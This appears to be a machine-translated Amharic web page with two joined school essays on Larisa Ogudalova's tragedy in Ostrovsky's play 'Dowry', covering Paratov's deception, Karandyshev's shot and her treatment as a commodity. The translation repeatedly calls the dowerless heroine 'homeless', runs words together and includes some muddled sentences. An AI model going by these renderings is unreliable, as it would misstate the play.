ላሪሳ የምታገኘው ብቸኛው መንገድ ይህንን ዓለም መተው ነው። ላሪሳ መጀመሪያ እራሷን ማጥፋት ፈለገች። ወደ ገደል ቀረበች እና ቁልቁል ተመለከተች፣ ግን እንደ ካትሪና፣ እቅዷን ለማሳካት በቂ ቁርጠኝነት እና ጥንካሬ አልነበራትም። ይሁን እንጂ የላሪሳ ሞት አስቀድሞ የተወሰነ እና የተዘጋጀው በጨዋታው በሙሉ ነው። በድንገት ከፒየር ውስጥ አንድ ተኩስ ይሰማል (ላሪሳ የምትፈራው ይህ ነው)። ከዚያም በካራንዲሼቭ እጆች ውስጥ ያለው መጥረቢያ ይጠቀሳል. የተወሰነ ሞትን ከገደል መውደቅ ይለዋል። ላሪሳ በእጆቿ በያዘችው ሳንቲም ላይ ስለ ፓራቶቭ "ግዴለሽ ሾት" ትናገራለች. እሷ እራሷ እዚህ በማንኛውም ቅርንጫፍ ላይ "እራስዎን መስቀል ትችላላችሁ" ብላ ታስባለች, ነገር ግን በቮልጋ ላይ "በሁሉም ቦታ እራስዎን መስጠም ቀላል ነው." ሮቢንሰን ግድያ ሊሆን የሚችል ቅድመ ሁኔታ አለው። በመጨረሻም ላሪሳ ሕልሟን አየች፡- “አሁን አንድ ሰው ቢገድለኝ ኖሮ?”

የጀግናዋ ሞት የማይቀር ይሆናል፣ ይመጣል። በእብድ የባለቤትነት ስሜት, ለእሷ ታላቅ ተግባር በማድረግ, Karandyshev ገድሏታል. ይህ ቤት የሌላት ሴት የመጨረሻ እና ያለፈቃድ ምርጫ ነው። የኦስትሮቭስኪ ጨዋታ ዋና ገፀ ባህሪ አሳዛኝ ሁኔታ በዚህ መንገድ ያበቃል።

"ጥሎሽ" ኢሰብአዊ በሆነ ዓለም ውስጥ ስላለው የስብዕና ጥፋት የሚያሳይ ድራማ ነው። ይህ ሥራ ስለ አንዲት ተራ ሩሲያዊት ሴት ፣ ሞቅ ያለ ፣ አፍቃሪ ልብ ያላት ቤት የሌላት ሴት አሳዛኝ ሁኔታ ነው።

“እሱ የሞራል፣ የቅድሚያ ጉዳዮችን፣ የነጋዴዎችን ወጎች፣ ቦዮችን እና ጥቃቅን ባለስልጣናትን ብቻ ሳይሆን በፍቅር ውስጥ ያለች ሴት ግላዊ ድራማንም አሳይቷል። እና ይህች ሴት ላሪሳ ኦጉዳሎቫ ነች።

ላሪሳ ለፍቅር እና ለደስታ የምትጥር ገጣሚ ነፍስ አላት። እሷ በጥሩ ሁኔታ ያደገች ፣ የውበት እና የማሰብ ችሎታ ተሰጥቷታል። የእርሷ ባህሪ የ "አዲሱን ጊዜ" መሠረቶች ይቃወማል. ኦጉዳሎቫ በነጋዴዎች ዓለም ውስጥ ይኖራል, የት ዋና እሴትገንዘብ ነው፣ ሁሉም ነገር የሚገዛበት የሚሸጥበት፣ “እያንዳንዱ ምርት ዋጋ ያለው” ያለበት።

ላሪሳ የጨዋታው ዋና ምርት ነው። "እኔ ለአንተ አሻንጉሊት ነኝ; "ከእኔ ጋር ከተጫወትክ ሰብረን ትጥለኛለህ" ትላለች። በእናት, የልጅነት ጓደኛ Vozhevatov, Knurov, Paratov እና ሌላው ቀርቶ Karandyshev ይሸጣል. ስለዚህ ካራንዲሼቭ ለላሪሳ ክብር እራት በማዘጋጀት የተገኘውን "አሻንጉሊት" በቀላሉ ለማሳየት እና በሌሎች ላይ የበላይነቱን ለማሳየት ወሰነ: - "መኩራራት እና ኩራት ይሰማኛል! ተረድታኛለች፣አደንቃኛለች እናም ከሁሉም ሰው አስመርጣኛለች።

ቮዝሄቫቶቭ እና ክኑሮቭ እንደዚህ አይነት ማስጌጫ ማን እንደሚያገኝ ለማየት ሳንቲም ይጥላሉ። ላሪሳ ግን ስለእነሱ ምንም ደንታ የለውም. ሁሉም ሀሳቦቿ እና ስሜቶቿ ከፓራቶቭ ጋር የተገናኙ ናቸው, ነገር ግን ፓራቶቭ ስለ እሱ ሁኔታ ብቻ ያሳስባል. ልክ ችግር እንደገጠመው ላሪሳን መሰናበቱን ረስቶ ወዲያው መኪናውን ይነዳል። ለዚህም ይቅር ብላለች። እና ልክ እንደተመለሰ ላሪሳ “አስጠምከኝ፣ ወደ ጥልቁ እየገፋችሁኝ ነው” ስትል የቦታዋ ስጋት እንዳለባት ይሰማታል። የ"ነጎድጓድ አውሎ ነፋሱ" የተውኔቱ ጀግና ካትሪና ከቲኮን ቃለ መሃላ እንደጠየቀች ልክ ወደ መንደሩ የበለጠ ለመሄድ ትጠይቃለች።

ላሪሳ ልቧ ከሚተጋበት ድርጊት እራሷን መጠበቅ ትፈልጋለች. ነገር ግን ካራንዲሼቭ ላሪሳን አይደግፍም, ልክ ቲኮን Ekaterinaን እንደማይደግፍ ሁሉ. ካራንዲሼቭ ስለ ኩራት ብቻ ያስባል. ስለዚህ ላሪሳ በፍርሃቷ ብቻዋን ቀረች።

ፓራቶቭ እንደደረሰ ቮዝሄቫቶቭ ላሪሳ ማግባቷን እስኪነግረው ድረስ ላሪሳን አያስታውሰውም. ፓራቶቭም ያገባል, ወይም ይልቁንስ የመግዛትና የመሸጥ ሂደት እንደገና ይከሰታል: ለነፃነቱ ምትክ የወርቅ ማዕድን ያገኛል. ፓራቶቭ ለመጨረሻ ጊዜ መጫወት ይፈልጋል, እና ላሪሳ በጣም ጥሩ አሻንጉሊት ነው. እሱ በጣም አስፈሪውን ነገር ይሰጣታል - በደስታ ላይ እምነት። "አንድ ደስታን አልም: ባሪያህ ልሆን; ከሀብት በላይ አጣሁ፣ አንተን አጣሁ፣ ይላል ፓራቶቭ። እሱ ያታልላል, በእሱ ውስጥ የምሕረት ቅንጣት እንኳን በሌለበት ጊዜ ስለ ፍቅር ይናገራል. ላሪሳ እሱን አምና ወደ ገንዳው ዘልቃ ገባች።

የፓራቶቭ ግብ ተሳክቷል-ላሪሳ በፍቅሯ የተበሳጨች, እምነት እና የወደፊት ተስፋ አንድ ላይ በመሆን, የእሱ ለመሆን ተስማምታለች. ይሁን እንጂ በጠዋቱ ላሪሳ እራሷን እንደ ሚስቱ ልትቆጥር እንደምትችል ስትጠይቃት ፓራቶቭ ሊሰበር በማይችለው ሰንሰለት ታስሮ እንደነበረ "ያስታውሳል". ይህ ላሪሳን አያቆምም: "ይህን ሸክም ከእርስዎ ጋር እካፈላለሁ, አብዛኛውን ሸክሙን እወስዳለሁ" ፓራቶቭ እሱ እንደታጨ እስካመነ ድረስ. ላሪሳ ተረገጠች፣ ፍቅሯ አልተንከባከበባትም፣ ስሜቷ አፈር ላይ ተረገጠ፣ ፊቷ ላይ ሳቁ። እና እጣ ፈንታ ከእሷ ጋር ይጫወታል ፣ ክኑሮቭ እሷን ለመግዛት አቀረበ። ተጸየፈች, በዚህ ዓለም ታማለች.

ልትሞት ትሞክራለች፣ነገር ግን አልተሳካላትም፣ “ምን በዚህ ገደል ውስጥ ያዘኝ፣ ምን ከለከለኝ? ኦህ ፣ አይ ፣ አይ… አይደለም ኑሮቭ… የቅንጦት ፣ ብሩህነት… አይ ፣ አይ… ከከንቱነት ርቄያለሁ…. ቁርጠኝነት" በሥነ ሥርዓቱ ላይ ላሪሳ በትግሉ ውስጥ ወድቃ ህብረተሰቡ ከጅምሩ የሰጣትን ቦታ ተቀበለች፡- “አዎ፣ አንድ ነገር፣... እኔ ነገር እንጂ ሰው አይደለሁም፣... እያንዳንዱ ነገር የራሱ ዋጋ አለው። .. ለአንተ በጣም ውድ ነኝ። ነገር ግን የላሪሳ አሳዛኝ ሁኔታ የተለየ ነው, ቃሎቿ በ "ነጎድጓድ" ውስጥ እንደ ነጎድጓድ ይሰማሉ: "ፍቅርን ፈልጌ ነበር እና አላገኘሁትም. እነሱ እኔን ተመለከቱ እና እንደ ቀልድ አዩኝ ... ፍቅርን ፈልጌ አላገኘሁትም ... በአለም ውስጥ የለም, ምንም የሚፈለግ ነገር የለም. ፍቅር አላገኘሁምና ወርቅ እፈልጋለሁ። ላሪሳ ትዋሻለች, ወርቅ አያስፈልጋትም, ምንም ነገር አያስፈልጋትም. ለዚህም ነው ካራንዲሼቭ ላሪሳን ሲተኩስ አመሰገነችው።

በህይወቷ ውስጥ ላሉ ክስተቶች ውጤት ብዙ አማራጮች ነበሩ. ለ የመጨረሻ ደቂቃዎችላሪሳ ፓራቶቭን ትወድ ነበር, እና በህይወት ብትቆይ, እንደገና ይቅር ልትለው ትችል ነበር, እና በድንገት ወደ ከተማው ከተመለሰ, እንደገና ታምነው ነበር, እና እንደገና እራሷን ተታለች. ላሪሳ የ Knurov ቅንጦት ልትሆን ትችላለች ፣ ግን ለእሷ በትክክል ሞት ነው። እሷ የካራንዲሼቭ ሚስት ልትሆን አትችልም ነበር; እንደዚያም ቢሆን, ላሪሳ ደስታን አታገኝም ነበር, በዚህ ዓለም ውስጥ ለእሷ ፍቅር የለም, ምክንያቱም በእነዚያ ቀናት, ፍቅር የሚሰማው ለገንዘብ ብቻ እንጂ ለሰዎች አይደለም.

ላሪሳ ኦጉዳሎቫ - ዋና ገጸ ባህሪበ 1879 ለመጀመሪያ ጊዜ በ "የአባትላንድ ማስታወሻዎች" ውስጥ የታተመው የ A.N. Ostrovsky ተውኔት "ዶውሪ". በኦስትሮቭስኪ የ70ዎቹ እና 80ዎቹ ድራማዎች ውስጥ፣ ዋናው ጭብጥ የገንዘብ፣ የንብረት እና የሀብት ሃይል የሆነው “በቡርጂዮዚ ድል” ዘመን ነው። ፀሐፊው በሩስያ ህይወት ውስጥ ያልተገደበ አዳኝ ፣ የሰውን ክብር ውርደት ፣ የቀዝቃዛ ስሌት እና ራስ ወዳድነትን የሚቃወሙ ኃይሎችን መፈለግ ቀጥሏል። የጸሐፊው "ሞቅ ያለ ልብ ያለው" ሰው እጣ ፈንታ ላይ ያለው ጭንቀት በተለይም በዚህ ስሌት ጊዜ ውስጥ እንኳን, በፍቅር, በመረዳት እና በደስታ በመፈለግ መኖርን ይቀጥላል. የ"ዶውሪ" የተሰኘው ተውኔት ጀግና ሴት እንዲህ ነች።

ላሪሳ ሁሉም ነገር አላት - ብልህነት ፣ ችሎታ ፣ ውበት ፣ ስሜታዊነት። እሷ በነፍስ ንፁህ እና ከራስ ወዳድነት ነፃ ነች። ወደ ሰዎች ትደርሳለች, ታምናቸዋለች, የመረዳት እና የተገላቢጦሽ ስሜቶችን ተስፋ ታደርጋለች. ነገር ግን ላሪሳ ቤት አልባ ናት፣ እና ይህ አሳዛኝ እጣ ፈንታዋን አስቀድሞ ይወስናል።

የላሪሳ እናት ልጇን በተሻለ ዋጋ ለማግባት ትጥራለች። የቴአትሩ ጀግና ግን እንደ ስሌት መስራት አይችልም። ለሰርጌይ ሰርጌቪች ፓራቶቭ, ቆንጆ, ብልህ እና ጠንካራ ልቧን ትሰጣለች. ነገር ግን ፓራቶቭ “እያንዳንዱ ምርት ዋጋ አለው” በሚለው መርህ የሚኖር የዘመኑ ሰው ነው። ላሪሳም ለእሱ ሸቀጥ ነች. እና እሱ ለመክፈል ዝግጁ አይደለም ቁሳዊ ደህንነትለፍቅር እና ለደስታ. ፓራቶቭ ሀብታም ሙሽሪት ያገባል, ወይም ይልቁንም እንደ ጥሎሽ የተሰጡትን የወርቅ ማዕድን ማውጫዎች.

ላሪሳ ፍቅር ሳታገኝ “እንደሌላው ሰው” ለመኖር ትሞክራለች። ድሆችን ኦፊሴላዊውን ዩሊ ካፒቶኖቪች ካራንዲሼቭን ለማግባት ወሰነች. በተመረጠችው ውስጥ ላሪሳ ባህሪያትን ትፈልጋለች ክብር የሚገባው“ቢያንስ ባለቤቴን ማክበር አለብኝ” ብላለች። ግን ካራንዲሼቭን ማክበር አስቸጋሪ ነው. ከ Knurov እና Vozhevatov ጋር ለማነፃፀር ባደረገው ከንቱ ሙከራ እሱ አስቂኝ እና አሳዛኝ ይመስላል። ቢያንስ የአእምሮ ሰላም ለማግኘት ወደ ሚያስብበት ወደ መንደሩ ለመሄድ የላሪሳን ልመና አይሰማም። ለዩሊ ካፒቶኖቪች ውርደታቸውን ለሦስት ዓመታት በጸናባቸው ሰዎች ላይ "በተራቸው ለመሳቅ" የበለጠ አስፈላጊ ነው. ለላሪሳ ስቃይ ጊዜ የለውም!

ከካራንዲሼቭ ጋር ከተለያየች በኋላ, ከፓራቶቭ ማታለል በኋላ, ላሪሳ ቀላል የሰዎችን ርህራሄ ትፈልጋለች, ወደ የልጅነት ጓደኛዋ ቮዝሄቫቶቭ ዘወር ስትል "ደህና, ቢያንስ ከእኔ ጋር አልቅስ" ብላ ጠየቀችው. ይሁን እንጂ ቮዝሄቫቶቭ ወደ ክኑሮቭ በመወርወር የላሪሳን ዕጣ ፈንታ ላይ ተጽእኖ የማድረግ እድል ቀድሞውኑ አጥቷል. "አልችልም, ምንም ነገር ማድረግ አልችልም," Vozhevatov ለ ላሪሳ የሰጠው መልስ. ቁሳቁስ ከጣቢያው

ላሪሳ ፍቅርን፣ አክብሮትን፣ ቀላል ርህራሄንና መግባባትን ስላላገኘች የሕይወትን ትርጉም አጣች። በምሬት እንዲህ ትላለች:- “ተመለከቱኝ አሁንም እንደ ቀልድ ይመለከቱኛል። ማንም ሰው ነፍሴን ለማየት ሞክሮ አያውቅም, ከማንም ሰው ርህራሄ አላየሁም, ሞቅ ያለ እና ከልብ የመነጨ ቃል አልሰማሁም. ግን እንደዚህ መኖር በጣም ቀዝቃዛ ነው ። ”

የካራንዲሼቭ ሾት ለእሷ ከአእምሮ ጭንቀት ነፃ ሆነች ብልግና ሕይወት"ነገሮች", መጫወቻዎች ለመክፈል በሚችሉ ሰዎች እጅ ውስጥ. “ራስን የሚነቅፍ ነገር ከሌለ መሞት” በሂሳብ ስሌት እና በከንቱነት አለም ውስጥ “ለጋለ ልብ” የሚቀረው ምርጥ ነገር ነው።

ይህ የላሪሳ የግል አሳዛኝ ነገር ነው። ነገር ግን ይህ ገንዘብ የሚገዛበት እና የአንድ ሰው ደስታ የሚለካው በብዛታቸው ብቻ የህብረተሰብ አሳዛኝ ክስተት ነው።

የምትፈልገውን አላገኘህም? ፍለጋውን ተጠቀም

በዚህ ገጽ ላይ በሚከተሉት ርእሶች ላይ ጽሑፍ አለ።

• የላሪሳ አሳዛኝ ሁኔታ, ቤት የሌላት ሴት
• ከላሪሳ ኦጉዳሎቫ ዕጣ ፈንታ አሳዛኝ ሁኔታ ይልቅ
• የላሪሳ አሳዛኝ ነገር በሚለው ርዕስ ላይ መልእክት
• የኦስትሮቭስኪ ጥሎሽ የ Ogudalova አሳዛኝ ሁኔታ ምንድነው?
• በጥሎሽ ውስጥ የላሪሳ እጣ ፈንታ ምን ሊሆን ይችላል